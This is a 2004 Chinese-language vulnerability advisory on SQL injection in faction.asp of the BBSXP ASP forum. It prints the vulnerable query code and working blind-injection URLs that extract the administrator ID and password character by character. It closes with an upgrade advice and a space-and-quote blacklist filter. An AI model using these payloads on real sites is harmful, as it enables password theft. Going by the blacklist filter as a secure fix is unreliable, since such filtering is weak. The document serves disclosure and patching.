SQL Injection in faction.asp of BBSXP
本文作者:angel文章性质:原创
发布日期:2004-04-02
涉及版本:
1.65a以前的所有免费版本
描述:
BBSXP论坛是由yuzi工作室([url]www.yuzi.net[/url])开发和维护的ASP源代码开放的论坛程序。由于其faction.asp文件没有对提交的变量id做任何检查。导致非法用户可进行SQL Injection攻击。获取任意用户的密码。(faction.asp是帮派功能的文件,在此劝告大家不要加入黑社会^_^)
具体:
BBSXP论坛体积虽小。但是却想和社区媲美。什么帮派啊、银行啊、监狱啊、商店、赌场啊。其实一个论坛就是用来交流。搞这么多娱乐功能干什么?唱戏啊?看来BBSXP的开发人员是模拟类游戏玩多了。不仅faction.asp这个文件有问题,这些娱乐功能的文件都有问题。我们先看看下面的代码:
elseif Request("menu")="look" then
sql="select * from faction where id="&Request("id")&""
rs.Open sql,Conn
看到了吧?id根本没有过滤。我想其实这么明显的漏洞可能发现的大有人在。是的,翻开以前PsKey写的文章,好象说了这个文件也存在漏洞。因为他发现的漏洞太多了,所以没有每个文件都讲解。现在这个漏洞是普遍存在于使用access数据库的Web程序的。利用的方法也就是跨表查询。我们提交下面的语句:
faction.asp?menu=look&id=1 and 1=(select min(id) from user where membercode=5)
//获得管理员的最小ID
faction.asp?menu=look&id=1 and 1=(select id from user where len(userpass)=5)
//获得密码长度
faction.asp?menu=look&id=1 and 1=(select id from user where left(userpass,1)='a')
//逐位推算密码
faction.asp?menu=look&id=1 and 1=(select id from user where left(userpass,5)='angel')
//最终推出密码
其实很多ASP程序都存在这个问题,都是没有检查变量造成的,我不想说太多了,因为这个文件的漏洞可能早有人发现了。所以我这里也只是和大家交流我的发现罢了……至于获取获得“clubconfig”表里的后台密码方法差不多,大家自己去探索吧……
补丁:
到官方主页下载最新版本。
解决办法:
因为文件没有过滤id变量,我们只用在程序里加入一个判断就好:
elseif Request("menu")="look" then
这一句的后面加上这段代码来对变量做个检查:
if instr(Request("id")," ")>0 or instr(Request("id"),"'")>0 then:error("<li>非法操作"):end if
其他的含有类似此漏洞(变量没检查)的文件也可以用这个方法,在此不在叙述。
页:
[1]